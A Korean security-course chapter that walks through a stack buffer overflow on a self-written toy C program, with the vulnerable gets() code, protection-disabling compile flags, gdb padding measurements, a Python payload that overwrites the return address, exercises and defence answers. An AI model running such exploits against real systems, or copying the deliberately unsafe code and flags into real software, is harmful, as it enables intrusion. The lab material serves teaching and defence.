Step 186. ★ 버퍼 오버플로우 재현: RET 덮어쓰기 성공 — 인생 첫 메모리 공격
Level 3 — Pwn 트랙 | 난이도 ★★★★★ | 예상 소요 시간 5시간
전제: Step 184~185를 마쳤다. call/ret의 동작을 알고, 스택 프레임 지도(지역 변수 → saved rbp → RET)를 그릴 수 있으며, 패딩 길이를 gdb로 잴 수 있다.
⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
- 준비물: WSL 우분투 터미널, gcc, gdb, python3. 실측 환경은 Ubuntu 24.04, gcc 13.3.0, gdb 15.1, x86-64입니다.
- 주의: 오늘의 기법은 실제 침입 사고에서 수십 년간 쓰인 공격의 원형입니다. 대상은 어디까지나 여러분이 직접 쓴 실험용 프로그램이고, 그 이유는 원리를 이해해 방어할 수 있게 되기 위해서입니다.
Step 62에서 넘친 입력이 이웃 변수를 덮는 것을 봤고, Step 185에서 그 입력이 RET까지 닿는다는 것을 지도로 확인했습니다. 오늘은 마지막 한 걸음입니다. 덮는 값을 무작정 ‘A’가 아니라 계산된 주소로 바꾸면, 함수가 ret하는 순간 프로그램의 조종권이 여러분의 손에 넘어옵니다. Level 3의 절정이자, 이 책의 전반부를 관통한 모든 공부가 하나로 합쳐지는 지점입니다. 어렵습니다. 하지만 재료는 전부 이미 배운 것뿐입니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- 공격 대상 바이너리를 실험실용 옵션으로 컴파일하고 각 옵션의 의미를 설명한다
nm으로 목표 함수의 주소를 찾는다- gdb로 buf~RET 거리(패딩)를 측정해 페이로드를 설계한다
- 리틀 엔디안 규칙으로 주소를 바이트 열로 뒤집어 넣는다
- RET 덮어쓰기로 호출된 적 없는 함수를 실행시키고, 성공과 실패의 차이를 gdb로 수사한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | C 언어 + 파이썬(페이로드 생성), WSL 우분투 bash, gcc 13.3.0, gdb 15.1 (x86-64) |
| 오늘의 명령어·옵션 | gcc -fno-stack-protector -z execstack -no-pie(실험실용 무방비 컴파일), nm 바이너리 | grep 이름(함수 주소 찾기), python3 -c "import sys; sys.stdout.buffer.write(...)" | ./vuln(바이트 페이로드 주입), gdb의 bt(죽은 경로 수사) |
| 필요한 개념 | RET 덮어쓰기, 리틀 엔디안, 페이로드, 패딩, 세그폴트 수사 |
2-1. 공격의 설계 — 세 개의 재료
Step 185까지 우리는 재료를 모았습니다.
- 취약한 입력 함수 — gets는 길이를 묻지 않습니다 (Step 185).
- 스택 지도 — buf에서 24바이트를 채우면 다음 8바이트가 RET 칸입니다 (Step 185 실측).
- 목표 주소 — 프로그램 안에는 아무도 부르지 않는 함수 win이 있습니다. 그 주소만 알면 됩니다.
이 셋을 합친 공격의 모양: [A × 24][win의 주소 8바이트]. vuln 함수가 ret하는 순간, rip는 A가 아니라 win의 주소로 갑니다. 프로그램은 한 번도 호출된 적 없는 함수를 "스스로" 실행합니다.
2-2. 리틀 엔디안 — 주소를 거꾸로 쓰는 규칙
x86-64는 리틀 엔디안(little-endian) 입니다. 여러 바이트짜리 수를 메모리에 쓸 때 낮은 자리 바이트가 낮은 주소에 옵니다. 주소 0x401196을 8바이트로 메모리에 쓰면:
주소 0x401196 → 메모리 바이트 순서: 96 11 40 00 00 00 00 00
입력은 buf의 낮은 주소부터 채워지므로, 우리가 보낼 바이트 열도 이 순서 — 뒤집힌 순서 — 여야 합니다. 0x401196을 그대로 "\x00...\x40\x11\x96" 순으로내면 RET에는 0x9611400000000000… 따위가 들어가 공격이 실패합니다. 오늘 유일한 함정이 이것입니다.
2-3. 무방비 컴파일 — 실험실의 조건 고정
실전 바이너리는 방어막을 두르고 나옵니다. 오늘은 원리 관찰이 목적이니 세 겹을 일부러 벗깁니다.
| 옵션 | 끄는 것 | 이유 |
|---|---|---|
-fno-stack-protector |
스택 카나리 | 덮기를 탐지해 중단하는 장치 (Step 62에서 만남) |
-z execstack |
NX (스택 실행 금지) | 오늘은 필수 아니지만, Pwn 실습의 표준 무방비 조합 |
-no-pie |
PIE (코드 주소 무작위화) | win의 주소를 고정해 덮어 쓸 수 있게 |
이 옵션들이 각각 무엇을 벗기는지는 Step 187에서 정식으로 배웁니다. 오늘은 "실험실 전용 스위치"로만 다룹니다. 배포하는 프로그램에 이 옵션을 쓰는 것은 방어막을 벗긴 채 문을 여는 일입니다.
2-4. 세그폴트는 실패가 아니라 증거다
공격이 어긋나면 프로그램은 세그폴트로 죽습니다. 이때 gdb의 bt가 보여 주는 깨진 주소 — 예를 들어 0x4141414141414141 — 는 "당신의 입력이 RET까지 닿았다"는 증거입니다. 죽음의 현장을 읽을 수 있으면 페이로드 교정은 시간 문제입니다.
3. 따라 하기
3-1. 표적 제작 — win과 vuln
입력 (vuln.c)
#include <stdio.h>
void win(void) {
printf("FLAG{you_control_the_rip}\n");
fflush(stdout);
}
void vuln(void) {
char buf[16];
printf("buf 주소: %p\n", (void *)buf);
printf("입력: ");
fflush(stdout);
gets(buf);
printf("받은 값: %s\n", buf);
fflush(stdout);
}
int main(void) {
vuln();
printf("정상 종료\n");
return 0;
}
읽는 법: win은 그 어디에서도 호출되지 않습니다. main은 vuln만 부릅니다. win 안의 fflush(stdout)는 "화면에 즉시내라"는 뜻 — 공격 성공 직후 프로그램이 죽기 때문에, 출력을 버퍼에 쌓아 두면 플래그가 영영 못 나올 수 있어 넣은 안전 장치입니다 (이 챕터의 벽 2에서 실제로 겪습니다).
컴파일
gcc -g -O0 -fno-stack-protector -z execstack -no-pie vuln.c -o vuln
/usr/bin/ld: /root/lab186/vuln.c:12:(.text+0x71): warning: the `gets' function is dangerous and should not be used.
(2026-09-09 실측. 링커의 경고는 예정된 것입니다 — 우리는 지금 일부러 위험한 프로그램을 만드는 중입니다.)
3-2. 목표 주소 찾기 — nm
nm vuln | grep -E " win$| vuln$| main$"
0000000000401247 T main
00000000004011bf T vuln
0000000000401196 T win
(2026-09-09 실측. -no-pie 덕분에 주소가 고정돼 있습니다. 여러분의 환경에서는 소스 길이에 따라 달라질 수 있습니다.)
출력 읽는 법: nm은 바이너리의 심볼(이름)표를 보여 줍니다. T는 코드(text) 영역이라는 뜻. win = 0x401196. 이것이 우리가 RET에 쓸 값입니다. 리틀 엔디안으로 뒤집으면 \x96\x11\x40\x00\x00\x00\x00\x00.
3-3. 패딩 측정 — buf에서 RET까지
Step 185의 방법 그대로 gdb에서 잽니다.
gdb -q ./vuln
(gdb) b vuln
Breakpoint 1 at 0x4011bc: file vuln.c, line 9.
(gdb) r
Starting program: .../vuln
Breakpoint 1, vuln () at vuln.c:9
9 printf("buf 주소: %p\n", (void *)buf);
(gdb) ni
(gdb) ni
(gdb) ni
(gdb) info registers rbp
rbp 0x7fffffffe670 0x7fffffffe670
(gdb) p/x $rbp - (long)buf
$1 = 0x10
(gdb) x/2gx $rbp
0x7fffffffe670: 0x00007fffffffe680 0x0000000000401236
(gdb) info symbol *(long*)($rbp+8)
main + 13 in section .text of /root/lab186/vuln
(2026-09-09 실측.)
출력 읽는 법: buf = rbp – 0x10 = 0x7fffffffe660. RET 칸 = rbp + 8 = 0x7fffffffe678 (내용 0x401236 = main+13, 정상적인 돌아갈 곳). 거리는 0x678 – 0x660 = 0x18 = 24바이트.
페이로드 설계 완성: A × 24 (패딩) + \x96\x11\x40\x00\x00\x00\x00\x00 (win의 주소, 리틀 엔디안). 총 32바이트. gets는 엔터까지 읽으니 마지막에 \n을 붙입니다.
3-4. 실패 먼저 — A만 넣은 죽음의 수사
성공부터 보기 전에, 주소 없이 A 서른두 개만 넣은 경우를 gdb로 수사해 둡니다. 이 기록이 나중에 여러분의 디버깅 기준이 됩니다.
python3 -c 'print("A"*32)' > a32.txt
gdb -q ./vuln
(gdb) r < a32.txt
...
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401246 in vuln () at vuln.c:16
16 }
(gdb) bt
#0 0x0000000000401246 in vuln () at vuln.c:16
#1 0x4141414141414141 in ?? ()
#2 0x00007fffffffe700 in ?? ()
(2026-09-09 실측.)
출력 읽는 법: #1 0x4141414141414141 in ?? () — 이 한 줄이 수사의 결론입니다. vuln이 ret할 때 점프한 곳이 "A 여덟 개"였고, 거기엔 아무 함수도 없으니(??) 죽었습니다. 여러분의 입력이 RET를 완전히 장악했다는 뜻입니다. 장악했는데 엉뚱한 곳으로 갔을 뿐. 이제 그 자리에 갈 만한 주소를 넣으면 됩니다.
3-5. ★ 공격 실행 — RET 덮어쓰기
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\x96\x11\x40\x00\x00\x00\x00\x00" + b"\n")' | ./vuln
buf 주소: 0x7ffc7e294190
입력: 받은 값: AAAAAAAAAAAAAAAAAAAAAAAA@
FLAG{you_control_the_rip}
Segmentation fault (core dumped)
(2026-09-09 실측.)
성공입니다. 화면을 차근차근 읽어 봅시다.
받은 값: AAA...@— 우리가 넣은 32바이트 중 눈에 보이는 부분. 뒤의 깨진 글자가 바로 리틀 엔디안으로 뒤집힌 win 주소(0x96, 0x11, 0x40)입니다.FLAG{you_control_the_rip}— 아무도 부르지 않은 win이 실행됐습니다. vuln이 ret하며 rip가 0x401196으로 점프한 것입니다.Segmentation fault— win이 끝나고 ret할 때, 그다음 돌아갈 곳(스택의 다음 칸)은 우리가 준비하지 않은 쓰레기 값이라 죽었습니다. 승리 직후의 사망은 예정된 결말입니다. 플래그는 이미 나왔으니 공격은 성공입니다.
여러분은 지금 프로그램의 실행 흐름을 입력만으로 꺾었습니다. 코드를 한 줄도 고치지 않고, 실행 파일을 건드리지도 않고, 데이터를 넣었을 뿐인데 프로그램이 설계자가 예정하지 않은 함수를 실행했습니다. 이것이 메모리 공격의 원형입니다.
3-6. 성공 현장의 검증 — gdb로 목격하기
믿기 어렵다면 gdb로 목격자를 세웁니다. win에 멈춤을 걸고 같은 페이로드를 흘려보냅니다.
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\x96\x11\x40\x00\x00\x00\x00\x00" + b"\n")' > payload.txt
gdb -q ./vuln
(gdb) b win
Breakpoint 1 at 0x40119e: file vuln.c, line 4.
(gdb) r < payload.txt
...
Breakpoint 1, win () at vuln.c:4
(gdb) bt
#0 win () at vuln.c:4
#1 0x00007fffffffe700 in ?? ()
(gdb) info registers rip
rip 0x40119e 0x40119e <win+8>
(2026-09-09 실측.)
출력 읽는 법: 멈춤이 걸렸습니다. 프로그램은 지금 win 안에 있습니다. 그런데 bt를 보면 — win을 부른 곳(#1)이 "??" 입니다. 정상적인 호출 경로가 없습니다. main도 vuln도 아닌, 우리의 페이로드가 win을 불렀습니다. rip의 이름표 <win+8>이 현재 위치를 증명합니다. 이것이 RET 탈취의 법의학적 증거입니다.
생각해 보기: 오늘 우리는 주소를 책의 nm 출력에서 읽었습니다. 그런데 만약 바이너리가 PIE로 컴파일돼 주소가 실행마다 바뀐다면? 이 공격은 어떻게 무력화될까요? 그 질문의 답이 Step 187입니다.
4. 미션과 연습문제
미션 — 나만의 표적 설계와 공격
vuln.c를 변형해 직접 설계한 표적을 공격하세요.
void secret(void)함수를 추가한다 — 여러분만의 플래그 문자열을 출력하게 하되, 어디에서도 호출하지 않는다- vuln의 buf를
char buf[24]로 바꾼다 (거리가 달라진다!) -fno-stack-protector -z execstack -no-pie로 컴파일하고, nm으로 secret의 주소를 찾는다- gdb로 새로운 패딩 길이를 측정한다 (추정 금지 — disas와 x/gx로)
- 페이로드를 설계해 공격하고, 플래그 출력을 캡처한다
- 실패 기록도 남긴다: 패딩을 일부러 4바이트 모자라게/많게 한 두 가지 페이로드를 넣고, 각각의 결과(세그폴트 메시지나 gdb의 bt 출력)를 기록한다
- 리포트의 마지막에 답한다: "이 공격을 막으려면 개발자는 무엇을 해야 하는가" — 최소 두 가지 (힌트: Step 62의 마지막 절과 오늘의 컴파일 옵션)
연습문제
문제 1. win의 주소가 0x401196일 때, 페이로드에 넣을 8바이트를 바이트 순서대로 쓰세요. 왜 그 순서인가요?
문제 2. 3-4의 bt에서 #1 0x4141414141414141 in ?? ()가 떴습니다. 이 한 줄이 증명하는 것 두 가지를 말해 보세요.
문제 3. 공격이 성공했는데도 프로그램이 세그폴트로 죽었습니다(3-5). 왜 죽었고, 왜 그것이 공격의 실패를 뜻하지 않나요?
문제 4. 패딩이 4바이트 모자란 페이로드(A×20 + 주소)를 넣으면 어떻게 될까요? RET 칸에 어떤 값이 들어가는지 바이트 단위로 추적해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
리포트의 예 (2026-09-09, Ubuntu 24.04, gcc 13.3.0 기준 — 숫자는 환경에 따라 달라집니다):
[설계] buf[24] + secret() 추가, 호출 경로 없음 확인
[주소] nm → secret = 0x4011xx (환경에 따라 다름)
[측정] disas vuln → sub $0x20,%rsp, buf = rbp-0x20 근처
x/2gx $rbp → RET 칸 확인, 패딩 = 0x20 + 8 = 40 바이트
[페이로드] A×40 + (secret 주소, 리틀 엔디안 8바이트) + \n
[성공] FLAG 출력 확인, 이후 SIGSEGV (예정된 사망)
[실패 1] A×36 + 주소 → 주소가 RET 칸을 빗나감, bt에 이상한 주소
[실패 2] A×44 + 주소 → 주소가 RET 칸을 넘김, 역시 실패
[방어 답변 예]
1) gets 대신 fgets처럼 상한 있는 입력 함수 사용 — 넘침 자체를 차단
2) 스택 보호(카나리)를 끄지 않고 배포 — 덮기를 탐지해 안전하게 중단
(추가로 PIE/ASLR로 주소를 모르게, NX로 스택 실행 금지 — Step 187)
검증하는 법: ① 패딩이 추정이 아니라 gdb 측정(오프셋 + x/2gx 대조)에서 나왔는가. ② 실패 기록 두 건이 실제로 첨부됐는가 — 실패의 기록이 있어야 성공이 실력입니다. ③ 방어 답변에 "상한 있는 입력"과 "보호 기법 유지"가 모두 있는가.
연습문제 해답
문제 1 해답. \x96\x11\x40\x00\x00\x00\x00\x00 입니다. x86-64는 리틀 엔디안이라 낮은 자리 바이트(0x96)가 낮은 주소에 먼저 쓰입니다. 입력은 buf의 낮은 주소부터 채워지므로, 주소를 그대로 쓰면 RET에 거꾸로 된 값이 들어가 공격이 실패합니다. 64비트 주소이므로 8바이트를 채우는 것도 잊지 마세요.
문제 2 해답. ① 입력이 RET 칸에 정확히 도달해 그 값을 완전히 덮었다(0x41 × 8 = 주소 전체가 ‘A’). ② 그래서 ret가 그 주소로 점프했지만 해당 주소에는 함수가 없어(??) 죽었다. 즉 "덮기 성공, 점프 실패" — 점프할 주소만 유효하게 바꾸면 된다는 진단입니다.
문제 3 해답. win이 끝난 뒤의 ret가 스택 다음 칸에 있던 쓰레기 값으로 점프하려다 죽었기 때문입니다. 우리가 정확히 덮은 것은 RET 칸 하나뿐이라, win의 "돌아갈 곳"은 준비되지 않았습니다. 하지만 win의 본분(플래그 출력)은 이미 끝난 뒤의 죽음이므로 공격 목표는 달성됐습니다. 실전 익스플로잇에서는 이어서 쉘을 실행하거나 정상 종료 루트를 이어 붙여 이 문제를 처리합니다.
문제 4 해답. A×20은 buf 16바이트 + saved rbp의 앞 4바이트까지만 덮습니다. 이어서 들어오는 주소 8바이트는 saved rbp의 뒤 4바이트와 RET 칸의 앞 4바이트에 걸쳐 쓰입니다. RET 칸에는 우리 주소의 앞 4바이트 + 원래 RET의 뒤 4바이트가 섞인 엉터리 값이 들어가고, ret는 그 엉터리 주소로 가서 세그폴트가 납니다. 패딩은 반드시 정확해야 합니다 — 1바이트 어긋나도 주소 전체가 밀립니다.
완료 기준 체크리스트
- [ ] 무방비 컴파일 옵션 세 개(-fno-stack-protector, -z execstack, -no-pie)의 의미를 설명할 수 있다
- [ ] nm으로 목표 함수의 주소를 찾았다
- [ ] gdb로 패딩 길이를 측정했다 (추정이 아니라)
- [ ] 주소를 리틀 엔디안 바이트 열로 뒤집을 수 있다
- [ ] A만 넣은 실패의 bt에서 0x4141414141414141을 읽고 해석했다
- [ ] RET 덮어쓰기로 win(또는 secret)을 실행시키고 플래그를 확인했다
- [ ] 성공 후 세그폴트의 원인을 설명할 수 있다
- [ ] 미션: 새 패딩 측정 + 성공·실패 기록 + 방어 답변의 리포트를 완성했다
6. 흔한 실수와 해결
벽 1. 플래그가 안 나오고 그냥 죽는다
증상: 페이로드를 넣었는데 받은 값도 플래그도 없이 세그폴트만 납니다.
원인: 가장 흔한 둘 — ① 패딩 길이가 틀렸거나 ② 주소가 리틀 엔디안으로 안 뒤집혔습니다.
해결: gdb에서 r < payload.txt 후 bt를 보세요. #1에 0x4141414141414141이면 주소가 RET에 안 닿은 것(패딩 문제), 0x961140… 같이 뒤집힌 흔적이면 엔디안 문제입니다. 죽음의 현장이 정답지입니다.
벽 2. win에 도착했는데 플래그가 안 보인다
증상: gdb로는 win 도달이 확인되는데, 일반 실행에서는 플래그 출력이 없이 죽습니다 (집필 실측에서 실제로 겪은 사고입니다).
원인: 파이프로 연결하면 printf 출력이 버퍼에 쌓입니다. win이 출력을 버퍼에 쌓은 채 죽으면 버퍼는 사라집니다.
해결: win과 vuln의 printf 뒤에 fflush(stdout);를 넣으세요. "죽기 전에 출력을 밀어 내는" 이 습관은 익스플로잇 실험의 기본기입니다.
벽 3. 책의 주소 0x401196을 그대로 썼는데 실패한다
증상: 책과 똑같이 했는데 세그폴트입니다.
원인: 소스가 한 글자라도 다르면(플래그 문자열 길이 포함) 함수 주소가 밀립니다. 책의 주소는 책의 바이너리 것입니다.
해결: 내 바이너리에서 nm vuln | grep win으로 주소를 찾으세요. Pwn의 철칙 — 주소는 외우는 것이 아니라 매번 내 표적에서 읽는 것입니다.
벽 4. 파이썬에서 주소 바이트가 깨진다
증상: print("A"*24 + "\x96\x11\x40...")로 만들었더니 길이가 이상하거나 문자가 깨집니다.
원인: str은 유니코드 문자열이라 0x96 같은 바이트를 글자로 변환하며 깨집니다. 파이썬 3에서는 바이트는 바이트로 다뤄야 합니다.
해결: 바이트 리터럴(b 접두사)과 buffer 쓰기를 쓰세요: sys.stdout.buffer.write(b"A"*24 + b"\x96\x11\x40\x00\x00\x00\x00\x00" + b"\n"). Step 188에서 pwntools의 p64()가 이 변환 전부를 자동으로 해 줍니다.
벽 5. stack smashing detected로 죽는다
증상: 이런 메시지와 함께 중단됩니다:
*** stack smashing detected ***: terminated
원인: -fno-stack-protector 없이 컴파일했습니다. 카나리가 덮인 것을 탐지하고 프로그램을 안전하게 죽인 것입니다.
해결: 실험실용 컴파일 옵션을 확인하세요. 그리고 이 메시지를 본 것을 기억하세요 — 이것이 방어가 작동하는 모습입니다. Step 187의 주제입니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| RET 덮어쓰기 | 리턴 주소를 원하는 주소로 바꿔 실행 흐름을 탈취하는 공격 |
| 리틀 엔디안 | 낮은 자리 바이트가 낮은 주소에 — 주소는 거꾸로 넣는다 |
| 페이로드 | 공격을 위해 정밀하게 배열한 입력 바이트 열 |
| 패딩 | 버퍼에서 RET까지 채우는 채움 재료 — 길이는 반드시 측정 |
| 무방비 컴파일 | 실험을 위해 방어막을 끄는 컴파일 옵션 — 실험실 전용 |
| 예정된 사망 | win 실행 후의 세그폴트 — 목표 달성 뒤의 죽음은 실패가 아니다 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
gcc -fno-stack-protector -z execstack -no-pie |
실험실용 무방비 컴파일 |
nm 바이너리 | grep 이름 |
함수 주소 찾기 |
sys.stdout.buffer.write(b"...") |
깨짐 없는 바이트 페이로드 출력 |
r < payload.txt (gdb) |
페이로드를 파일로 먹이며 수사 |
bt (gdb) |
죽은 경로 — 덮인 RET의 판독 |
명령어보다 중요한 감각
오늘 여러분이 한 일을 한 문장으로 말하면: "데이터와 제어가 같은 스택에 사는 한, 데이터는 제어가 될 수 있다." 입력은 데이터였는데, 25번째 바이트부터는 프로그램의 이정표였습니다. 이 한 가지 구조적 사실이 수십 년의 침입사고와 수십 년의 방어 기술을 낳았습니다.
그리고 공격의 성공보다 중요한 것을 여러분은 이미 알고 있습니다. 이 공격을 막는 데 필요한 것은 마법이 아니라 — 상한 있는 입력 함수 하나, 켜 둔 보호 옵션 하나였습니다. 공격을 손으로 해 본 사람의 방어는 다릅니다. 다음 챕터에서는 그 방어막들 — NX, ASLR, Canary, PIE — 이 오늘의 공격을 정확히 어느 지점에서 끊는지 하나씩 확인합니다.
전부 체크되면 Step 186 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.